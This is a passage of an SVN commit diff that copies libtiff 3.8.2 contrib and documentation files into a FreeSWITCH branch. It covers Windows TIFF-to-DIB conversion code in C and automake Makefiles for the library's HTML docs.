+        bi.biYPelsPerMeter  = 0;
+        bi.biClrUsed        = 0;  //  must be zero for RGB compression (none)
+        bi.biClrImportant   = 0;  // always
+
+        // Get the size of the DIB
+        dwDIBSize = GetDIBSize( &bi );
+
+        // Allocate for the BITMAPINFO structure and the color table.
+        pDIB = GlobalAllocPtr( GHND, dwDIBSize );
+        if (pDIB == 0) {
+            return( NULL );
+        }
+
+        // Copy the header info
+        *((BITMAPINFOHEADER*)pDIB) = bi;
+
+        // Get a pointer to the color table
+        RGBQUAD   *pRgbq = (RGBQUAD   *)((LPSTR)pDIB + sizeof(BITMAPINFOHEADER));
+
+        // Pointers to the bits
+        //PVOID pbiBits = (LPSTR)pRgbq + bi.biClrUsed * sizeof(RGBQUAD);
+        //
+        // In the BITMAPINFOHEADER documentation, it appears that
+        // there should be no color table for 32 bit images, but
+        // experience shows that the image is off by 3 words if it
+        // is not included.  So here it is.
+        PVOID pbiBits = (LPSTR)pRgbq + 3 * sizeof(RGBQUAD);
+
+        int       sizeWords = bi.biSizeImage/4;
+        RGBQUAD*  rgbDib = (RGBQUAD*)pbiBits;
+        long*     rgbTif = (long*)raster;
+
+        // Swap the byte order while copying
+        for ( int i = 0 ; i < sizeWords ; ++i )
+        {
+            rgbDib[i].rgbRed   = TIFFGetR(rgbTif[i]);
+            rgbDib[i].rgbBlue  = TIFFGetB(rgbTif[i]);
+            rgbDib[i].rgbGreen = TIFFGetG(rgbTif[i]);
+            rgbDib[i].rgbReserved = 0;
+        }
+    }
+
+    return pDIB;
+}
+
+
+
+
+///////////////////////////////////////////////////////////////
+//
+//  Hacked from tif_getimage.c in libtiff in v3.5.7
+//
+//
+typedef unsigned char u_char;
+
+
+#define DECLAREContigPutFunc(name) \
+static void name(\
+    TIFFRGBAImage* img, \
+    uint32* cp, \
+    uint32 x, uint32 y, \
+    uint32 w, uint32 h, \
+    int32 fromskew, int32 toskew, \
+    u_char* pp \
+)
+
+#define DECLARESepPutFunc(name) \
+static void name(\
+    TIFFRGBAImage* img,\
+    uint32* cp,\
+    uint32 x, uint32 y, \
+    uint32 w, uint32 h,\
+    int32 fromskew, int32 toskew,\
+    u_char* r, u_char* g, u_char* b, u_char* a\
+)
+
+DECLAREContigPutFunc(putContig1bitTile);
+static int getStripContig1Bit(TIFFRGBAImage* img, uint32* uraster, uint32 w, uint32 h);
+
+//typdef struct TIFFDibImage {
+//    TIFFRGBAImage tif;
+//    dibinstalled;
+//} TIFFDibImage ;
+
+void DibInstallHack(TIFFDibImage* dib) {
+    TIFFRGBAImage* img = &dib->tif;
+    dib->dibinstalled = false;
+    switch (img->photometric) {
+        case PHOTOMETRIC_MINISWHITE:
+        case PHOTOMETRIC_MINISBLACK:
+        switch (img->bitspersample) {
+            case 1:
+                img->put.contig = putContig1bitTile;
+                img->get = getStripContig1Bit;
+                dib->dibinstalled = true;
+                break;
+        }
+        break;
+    }
+}
+
+/*
+ * 1-bit packed samples => 1-bit
+ *
+ *   Override to just copy the data
+ */
+DECLAREContigPutFunc(putContig1bitTile)
+{
+    int samplesperpixel = img->samplesperpixel;
+
+    (void) y;
+    fromskew *= samplesperpixel;
+    int wb = WIDTHBYTES(w);
+    u_char*  ucp = (u_char*)cp;
+
+    /* Conver 'w' to bytes from pixels (rounded up) */
+    w = (w+7)/8;
+
+    while (h-- > 0) {
+        _TIFFmemcpy(ucp, pp, w);
+        /*
+        for (x = wb; x-- > 0;) {
+            *cp++ = rgbi(Map[pp[0]], Map[pp[1]], Map[pp[2]]);
+            pp += samplesperpixel;
+        }
+        */
+        ucp += (wb + toskew);
+        pp += (w + fromskew);
+    }
+}
+
+/*
+ *  Hacked from the tif_getimage.c file.
+ */
+static uint32
+setorientation(TIFFRGBAImage* img, uint32 h)
+{
+    TIFF* tif = img->tif;
+    uint32 y;
+
+    switch (img->orientation) {
+    case ORIENTATION_BOTRIGHT:
+    case ORIENTATION_RIGHTBOT:  /* XXX */
+    case ORIENTATION_LEFTBOT:   /* XXX */
+    TIFFWarning(TIFFFileName(tif), "using bottom-left orientation");
+    img->orientation = ORIENTATION_BOTLEFT;
+    /* fall thru... */
+    case ORIENTATION_BOTLEFT:
+    y = 0;
+    break;
+    case ORIENTATION_TOPRIGHT:
+    case ORIENTATION_RIGHTTOP:  /* XXX */
+    case ORIENTATION_LEFTTOP:   /* XXX */
+    default:
+    TIFFWarning(TIFFFileName(tif), "using top-left orientation");
+    img->orientation = ORIENTATION_TOPLEFT;
+    /* fall thru... */
+    case ORIENTATION_TOPLEFT:
+    y = h-1;
+    break;
+    }
+    return (y);
+}
+
+/*
+ * Get a strip-organized image that has
+ *  PlanarConfiguration contiguous if SamplesPerPixel > 1
+ * or
+ *  SamplesPerPixel == 1
+ *
+ *  Hacked from the tif_getimage.c file.
+ *
+ *    This is set up to allow us to just copy the data to the raster
+ *    for 1-bit bitmaps
+ */
+static int
+getStripContig1Bit(TIFFRGBAImage* img, uint32* raster, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    tileContigRoutine put = img->put.contig;
+    uint16 orientation;
+    uint32 row, y, nrow, rowstoread;
+    uint32 pos;
+    u_char* buf;
+    uint32 rowsperstrip;
+    uint32 imagewidth = img->width;
+    tsize_t scanline;
+    int32 fromskew, toskew;
+    tstrip_t strip;
+    tsize_t  stripsize;
+    u_char* braster = (u_char*)raster; // byte wide raster
+    uint32  wb = WIDTHBYTES(w);
+    int ret = 1;
+
+    buf = (u_char*) _TIFFmalloc(TIFFStripSize(tif));
+    if (buf == 0) {
+        TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for strip buffer");
+        return (0);
+    }
+    y = setorientation(img, h);
+    orientation = img->orientation;
+    toskew = -(int32) (orientation == ORIENTATION_TOPLEFT ? wb+wb : wb-wb);
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+    scanline = TIFFScanlineSize(tif);
+    fromskew = (w < imagewidth ? imagewidth - w : 0)/8;
+    for (row = 0; row < h; row += nrow)
+    {
+        rowstoread = rowsperstrip - (row + img->row_offset) % rowsperstrip;
+        nrow = (row + rowstoread > h ? h - row : rowstoread);
+        strip = TIFFComputeStrip(tif,row+img->row_offset, 0);
+        stripsize = ((row + img->row_offset)%rowsperstrip + nrow) * scanline;
+        if (TIFFReadEncodedStrip(tif, strip, buf, stripsize ) < 0
+            && img->stoponerr)
+        {
+            ret = 0;
+            break;
+        }
+
+        pos = ((row + img->row_offset) % rowsperstrip) * scanline;
+        (*put)(img, (uint32*)(braster+y*wb), 0, y, w, nrow, fromskew, toskew, buf + pos);
+        y += (orientation == ORIENTATION_TOPLEFT ?-(int32) nrow : (int32) nrow);
+    }
+    _TIFFfree(buf);
+    return (ret);
+}
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/tiff2dib.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/tiff2dib.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/win_dib/tiff2dib.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/tiff2dib.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/win_dib/tiff2dib.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,372 @@
+/*************************************************************************
+ *
+ * Source file for Windows 95/Win32. 
+ *
+ * The function LoadTIFFinDIB in this source file let you load 
+ * a TIFF file and build a memory DIB with it and return the 
+ * HANDLE (HDIB) of the memory bloc containing the DIB.
+ *
+ *  Example : 
+ * 
+ *   HDIB   hDIB;
+ *   hDIB = LoadTIFFinDIB("sample.tif");
+ *
+ *
+ * To build this source file you must include the TIFF library   
+ * in your project.
+ *
+ * 4/12/95   Philippe Tenenhaus   100423.3705@compuserve.com
+ *
+ ************************************************************************/
+
+
+#include "tiffio.h" 
+
+#define HDIB HANDLE
+#define IS_WIN30_DIB(lpbi)  ((*(LPDWORD)(lpbi)) == sizeof(BITMAPINFOHEADER))
+#define CVT(x)      (((x) * 255L) / ((1L<<16)-1))
+
+static HDIB CreateDIB(DWORD dwWidth, DWORD dwHeight, WORD wBitCount);
+static LPSTR FindDIBBits(LPSTR lpDIB);
+static WORD PaletteSize(LPSTR lpDIB);
+static WORD DIBNumColors(LPSTR lpDIB);
+static int checkcmap(int n, uint16* r, uint16* g, uint16* b);
+
+
+
+/*************************************************************************
+ *
+ * HDIB LoadTIFFinDIB(LPSTR lpFileName) 
+ *
+ * Parameter:
+ *
+ * LPSTR lpDIB      - File name of a tiff imag
+ *
+ * Return Value:
+ *
+ * LPSTR            - HANDLE of a DIB
+ *
+ * Description:
+ *
+ * This function load a TIFF file and build a memory DIB with it
+ * and return the HANDLE (HDIB) of the memory bloc containing
+ * the DIB.
+ *
+ * 4/12/95   Philippe Tenenhaus   100423.3705@compuserve.com
+ *
+ ************************************************************************/
+
+HDIB LoadTIFFinDIB(LPSTR lpFileName)    
+{
+    TIFF          *tif;
+    unsigned long imageLength; 
+    unsigned long imageWidth; 
+    unsigned int  BitsPerSample;
+    unsigned long LineSize;
+    unsigned int  SamplePerPixel;
+    unsigned long RowsPerStrip;  
+    int           PhotometricInterpretation;
+    long          nrow;
+	unsigned long row;
+    char          *buf;          
+    LPBITMAPINFOHEADER lpDIB; 
+    HDIB          hDIB;
+    char          *lpBits;
+    HGLOBAL       hStrip;
+    int           i,l;
+    int           Align; 
+    
+    tif = TIFFOpen(lpFileName, "r");
+    
+    if (!tif)
+        goto TiffOpenError;
+    
+    TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &imageWidth);
+    TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &imageLength);  
+    TIFFGetField(tif, TIFFTAG_BITSPERSAMPLE, &BitsPerSample);
+    TIFFGetField(tif, TIFFTAG_ROWSPERSTRIP, &RowsPerStrip);  
+    TIFFGetField(tif, TIFFTAG_ROWSPERSTRIP, &RowsPerStrip);   
+    TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &PhotometricInterpretation);
+           
+    LineSize = TIFFScanlineSize(tif); //Number of byte in ine line
+
+    SamplePerPixel = (int) (LineSize/imageWidth);
+
+    //Align = Number of byte to add at the end of each line of the DIB
+    Align = 4 - (LineSize % 4);
+    if (Align == 4)	Align = 0;
+
+    
+    //Create a new DIB
+    hDIB = CreateDIB((DWORD) imageWidth, (DWORD) imageLength, (WORD)
+(BitsPerSample*SamplePerPixel));
+    lpDIB  = (LPBITMAPINFOHEADER) GlobalLock(hDIB);
+    if (!lpDIB)
+          goto OutOfDIBMemory;
+          
+    if (lpDIB)
+       lpBits = FindDIBBits((LPSTR) lpDIB);
+
+    //In the tiff file the lines are save from up to down 
+	//In a DIB the lines must be save from down to up
+    if (lpBits)
+      {
+        lpBits = FindDIBBits((LPSTR) lpDIB);
+        lpBits+=((imageWidth*SamplePerPixel)+Align)*(imageLength-1);
+		//now lpBits pointe on the bottom line
+        
+        hStrip = GlobalAlloc(GHND,TIFFStripSize(tif));
+        buf = GlobalLock(hStrip);           
+        
+        if (!buf)
+           goto OutOfBufMemory;
+        
+        //PhotometricInterpretation = 2 image is RGB
+        //PhotometricInterpretation = 3 image have a color palette              
+        if (PhotometricInterpretation == 3)
+        {
+          uint16* red;
+          uint16* green;
+          uint16* blue;
+          int16 i;
+          LPBITMAPINFO lpbmi;   
+          int   Palette16Bits;          
+           
+          TIFFGetField(tif, TIFFTAG_COLORMAP, &red, &green, &blue); 
+
+		  //Is the palette 16 or 8 bits ?
+          if (checkcmap(1<<BitsPerSample, red, green, blue) == 16) 
+             Palette16Bits = TRUE;
+          else
+             Palette16Bits = FALSE;
+             
+          lpbmi = (LPBITMAPINFO)lpDIB;                      
+                
+          //load the palette in the DIB
+          for (i = (1<<BitsPerSample)-1; i >= 0; i--) 
+            {             
+             if (Palette16Bits)
+                {
+                  lpbmi->bmiColors[i].rgbRed =(BYTE) CVT(red[i]);
+                  lpbmi->bmiColors[i].rgbGreen = (BYTE) CVT(green[i]);
+                  lpbmi->bmiColors[i].rgbBlue = (BYTE) CVT(blue[i]);           
+                }
+             else
+                {
+                  lpbmi->bmiColors[i].rgbRed = (BYTE) red[i];
+                  lpbmi->bmiColors[i].rgbGreen = (BYTE) green[i];
+                  lpbmi->bmiColors[i].rgbBlue = (BYTE) blue[i];        
+                }
+            }  
+                 
+        }
+        
+        //read the tiff lines and save them in the DIB
+		//with RGB mode, we have to change the order of the 3 samples RGB
+<=> BGR
+        for (row = 0; row < imageLength; row += RowsPerStrip) 
+          {     
+            nrow = (row + RowsPerStrip > imageLength ? imageLength - row :
+RowsPerStrip);
+            if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, row, 0),
+                buf, nrow*LineSize)==-1)
+                  {
+                     goto TiffReadError;
+                  } 
+            else
+                  {  
+                    for (l = 0; l < nrow; l++) 
+                      {
+                         if (SamplePerPixel  == 3)
+                           for (i=0;i< (int) (imageWidth);i++)
+                              {
+                               lpBits[i*SamplePerPixel+0]=buf[l*LineSize+i*Sample
+PerPixel+2]; 
+                               lpBits[i*SamplePerPixel+1]=buf[l*LineSize+i*Sample
+PerPixel+1];
+                               lpBits[i*SamplePerPixel+2]=buf[l*LineSize+i*Sample
+PerPixel+0];
+                              }
+                         else
+                           memcpy(lpBits, &buf[(int) (l*LineSize)], (int)
+imageWidth*SamplePerPixel); 
+                          
+                         lpBits-=imageWidth*SamplePerPixel+Align;
+
+                      }
+                 }
+          }
+        GlobalUnlock(hStrip);
+        GlobalFree(hStrip);
+        GlobalUnlock(hDIB); 
+        TIFFClose(tif);
+      }
+      
+    return hDIB;
+    
+    OutOfBufMemory:
+       
+    TiffReadError:
+       GlobalUnlock(hDIB); 
+       GlobalFree(hStrip);
+    OutOfDIBMemory:
+       TIFFClose(tif);
+    TiffOpenError:
+       return (HANDLE) 0;
+       
+         
+}
+
+
+static int checkcmap(int n, uint16* r, uint16* g, uint16* b)
+{
+    while (n-- > 0)
+        if (*r++ >= 256 || *g++ >= 256 || *b++ >= 256)
+        return (16);
+    
+    return (8);
+}
+
+
+
+/*************************************************************************
+ * All the following functions were created by microsoft, they are
+ * parts of the sample project "wincap" given with the SDK Win32.
+ *
+ * Microsoft says that :
+ *
+ *  You have a royalty-free right to use, modify, reproduce and
+ *  distribute the Sample Files (and/or any modified version) in
+ *  any way you find useful, provided that you agree that
+ *  Microsoft has no warranty obligations or liability for any
+ *  Sample Application Files which are modified.
+ *
+ ************************************************************************/
+
+HDIB CreateDIB(DWORD dwWidth, DWORD dwHeight, WORD wBitCount)
+{
+   BITMAPINFOHEADER bi;         // bitmap header
+   LPBITMAPINFOHEADER lpbi;     // pointer to BITMAPINFOHEADER
+   DWORD dwLen;                 // size of memory block
+   HDIB hDIB;
+   DWORD dwBytesPerLine;        // Number of bytes per scanline
+
+
+   // Make sure bits per pixel is valid
+   if (wBitCount <= 1)
+      wBitCount = 1;
+   else if (wBitCount <= 4)
+      wBitCount = 4;
+   else if (wBitCount <= 8)
+      wBitCount = 8;
+   else if (wBitCount <= 24)
+      wBitCount = 24;
+   else
+      wBitCount = 4;  // set default value to 4 if parameter is bogus
+
+   // initialize BITMAPINFOHEADER
+   bi.biSize = sizeof(BITMAPINFOHEADER);
+   bi.biWidth = dwWidth;         // fill in width from parameter
+   bi.biHeight = dwHeight;       // fill in height from parameter
+   bi.biPlanes = 1;              // must be 1
+   bi.biBitCount = wBitCount;    // from parameter
+   bi.biCompression = BI_RGB;    
+   bi.biSizeImage = (dwWidth*dwHeight*wBitCount)/8; //0;           // 0's here
+mean "default"
+   bi.biXPelsPerMeter = 2834; //0;
+   bi.biYPelsPerMeter = 2834; //0;
+   bi.biClrUsed = 0;
+   bi.biClrImportant = 0;
+
+   // calculate size of memory block required to store the DIB.  This
+   // block should be big enough to hold the BITMAPINFOHEADER, the color
+   // table, and the bits
+
+   dwBytesPerLine =   (((wBitCount * dwWidth) + 31) / 32 * 4);
+   dwLen = bi.biSize + PaletteSize((LPSTR)&bi) + (dwBytesPerLine * dwHeight);
+
+   // alloc memory block to store our bitmap
+   hDIB = GlobalAlloc(GHND, dwLen);
+
+   // major bummer if we couldn't get memory block
+   if (!hDIB)
+   {
+      return NULL;
+   }
+
+   // lock memory and get pointer to it
+   lpbi = (VOID FAR *)GlobalLock(hDIB);
+
+   // use our bitmap info structure to fill in first part of
+   // our DIB with the BITMAPINFOHEADER
+   *lpbi = bi;
+
+   // Since we don't know what the colortable and bits should contain,
+   // just leave these blank.  Unlock the DIB and return the HDIB.
+
+   GlobalUnlock(hDIB);
+
+   /* return handle to the DIB */
+   return hDIB;
+}
+
+
+LPSTR FAR FindDIBBits(LPSTR lpDIB)
+{
+   return (lpDIB + *(LPDWORD)lpDIB + PaletteSize(lpDIB));
+}
+
+
+WORD FAR PaletteSize(LPSTR lpDIB)
+{
+   /* calculate the size required by the palette */
+   if (IS_WIN30_DIB (lpDIB))
+      return (DIBNumColors(lpDIB) * sizeof(RGBQUAD));
+   else
+      return (DIBNumColors(lpDIB) * sizeof(RGBTRIPLE));
+}
+
+
+WORD DIBNumColors(LPSTR lpDIB)
+{
+   WORD wBitCount;  // DIB bit count
+
+   /*  If this is a Windows-style DIB, the number of colors in the
+    *  color table can be less than the number of bits per pixel
+    *  allows for (i.e. lpbi->biClrUsed can be set to some value).
+    *  If this is the case, return the appropriate value.
+    */
+
+   if (IS_WIN30_DIB(lpDIB))
+   {
+      DWORD dwClrUsed;
+
+      dwClrUsed = ((LPBITMAPINFOHEADER)lpDIB)->biClrUsed;
+      if (dwClrUsed)
+     return (WORD)dwClrUsed;
+   }
+
+   /*  Calculate the number of colors in the color table based on
+    *  the number of bits per pixel for the DIB.
+    */
+   if (IS_WIN30_DIB(lpDIB))
+      wBitCount = ((LPBITMAPINFOHEADER)lpDIB)->biBitCount;
+   else
+      wBitCount = ((LPBITMAPCOREHEADER)lpDIB)->bcBitCount;
+
+   /* return number of colors based on bits per pixel */
+   switch (wBitCount)
+      {
+   case 1:
+      return 2;
+
+   case 4:
+      return 16;
+
+   case 8:
+      return 256;
+
+   default:
+      return 0;
+      }
+}

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/html


Name: svn:ignore
   + Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,81 @@
+# $Id: Makefile.am,v 1.16 2006/03/23 14:54:01 dron Exp $
+#
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+docdir = $(LIBTIFF_DOCDIR)/html
+
+docfiles = \
+	addingtags.html \
+	bugs.html \
+	build.html \
+	contrib.html \
+	document.html \
+	images.html \
+	index.html \
+	internals.html \
+	intro.html \
+	libtiff.html \
+	misc.html \
+	support.html \
+	TIFFTechNote2.html \
+	tools.html \
+	v3.4beta007.html \
+	v3.4beta016.html \
+	v3.4beta018.html \
+	v3.4beta024.html \
+	v3.4beta028.html \
+	v3.4beta029.html \
+	v3.4beta031.html \
+	v3.4beta032.html \
+	v3.4beta033.html \
+	v3.4beta034.html \
+	v3.4beta035.html \
+	v3.4beta036.html \
+	v3.5.1.html \
+	v3.5.2.html \
+	v3.5.3.html \
+	v3.5.4.html \
+	v3.5.5.html \
+	v3.5.6-beta.html \
+	v3.5.7.html \
+	v3.6.0.html \
+	v3.6.1.html \
+	v3.7.0alpha.html \
+	v3.7.0beta.html \
+	v3.7.0beta2.html \
+	v3.7.0.html \
+	v3.7.1.html \
+	v3.7.2.html \
+	v3.7.3.html \
+	v3.7.4.html \
+	v3.8.0.html \
+	v3.8.1.html \
+	v3.8.2.html
+
+dist_doc_DATA = $(docfiles)
+
+SUBDIRS = images man
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,626 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# $Id: Makefile.in,v 1.46 2006/03/23 14:54:01 dron Exp $
+#
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+subdir = html
+DIST_COMMON = $(dist_doc_DATA) $(srcdir)/Makefile.am \
+	$(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+SOURCES =
+DIST_SOURCES =
+RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
+	html-recursive info-recursive install-data-recursive \
+	install-exec-recursive install-info-recursive \
+	install-recursive installcheck-recursive installdirs-recursive \
+	pdf-recursive ps-recursive uninstall-info-recursive \
+	uninstall-recursive
+am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`;
+am__vpath_adj = case $$p in \
+    $(srcdir)/*) f=`echo "$$p" | sed "s|^$$srcdirstrip/||"`;; \
+    *) f=$$p;; \
+  esac;
+am__strip_dir = `echo $$p | sed -e 's|^.*/||'`;
+am__installdirs = "$(DESTDIR)$(docdir)"
+dist_docDATA_INSTALL = $(INSTALL_DATA)
+DATA = $(dist_doc_DATA)
+ETAGS = etags
+CTAGS = ctags
+DIST_SUBDIRS = $(SUBDIRS)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
+GREP = @GREP@
+HAVE_CXX_FALSE = @HAVE_CXX_FALSE@
+HAVE_CXX_TRUE = @HAVE_CXX_TRUE@
+HAVE_OPENGL_FALSE = @HAVE_OPENGL_FALSE@
+HAVE_OPENGL_TRUE = @HAVE_OPENGL_TRUE@
+HAVE_RPATH_FALSE = @HAVE_RPATH_FALSE@
+HAVE_RPATH_TRUE = @HAVE_RPATH_TRUE@
+INSTALL_DATA = @INSTALL_DATA@
+INSTALL_PROGRAM = @INSTALL_PROGRAM@
+INSTALL_SCRIPT = @INSTALL_SCRIPT@
+INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
+LD = @LD@
+LDFLAGS = @LDFLAGS@
+LIBDIR = @LIBDIR@
+LIBOBJS = @LIBOBJS@
+LIBS = @LIBS@
+LIBTIFF_ALPHA_VERSION = @LIBTIFF_ALPHA_VERSION@
+LIBTIFF_DOCDIR = @LIBTIFF_DOCDIR@
+LIBTIFF_MAJOR_VERSION = @LIBTIFF_MAJOR_VERSION@
+LIBTIFF_MICRO_VERSION = @LIBTIFF_MICRO_VERSION@
+LIBTIFF_MINOR_VERSION = @LIBTIFF_MINOR_VERSION@
+LIBTIFF_RELEASE_DATE = @LIBTIFF_RELEASE_DATE@
+LIBTIFF_VERSION = @LIBTIFF_VERSION@
+LIBTIFF_VERSION_INFO = @LIBTIFF_VERSION_INFO@
+LIBTOOL = @LIBTOOL@
+LN_S = @LN_S@
+LTLIBOBJS = @LTLIBOBJS@
+MAINT = @MAINT@
+MAINTAINER_MODE_FALSE = @MAINTAINER_MODE_FALSE@
+MAINTAINER_MODE_TRUE = @MAINTAINER_MODE_TRUE@
+MAKEINFO = @MAKEINFO@
+NM = @NM@
+OBJDUMP = @OBJDUMP@
+OBJEXT = @OBJEXT@
+PACKAGE = @PACKAGE@
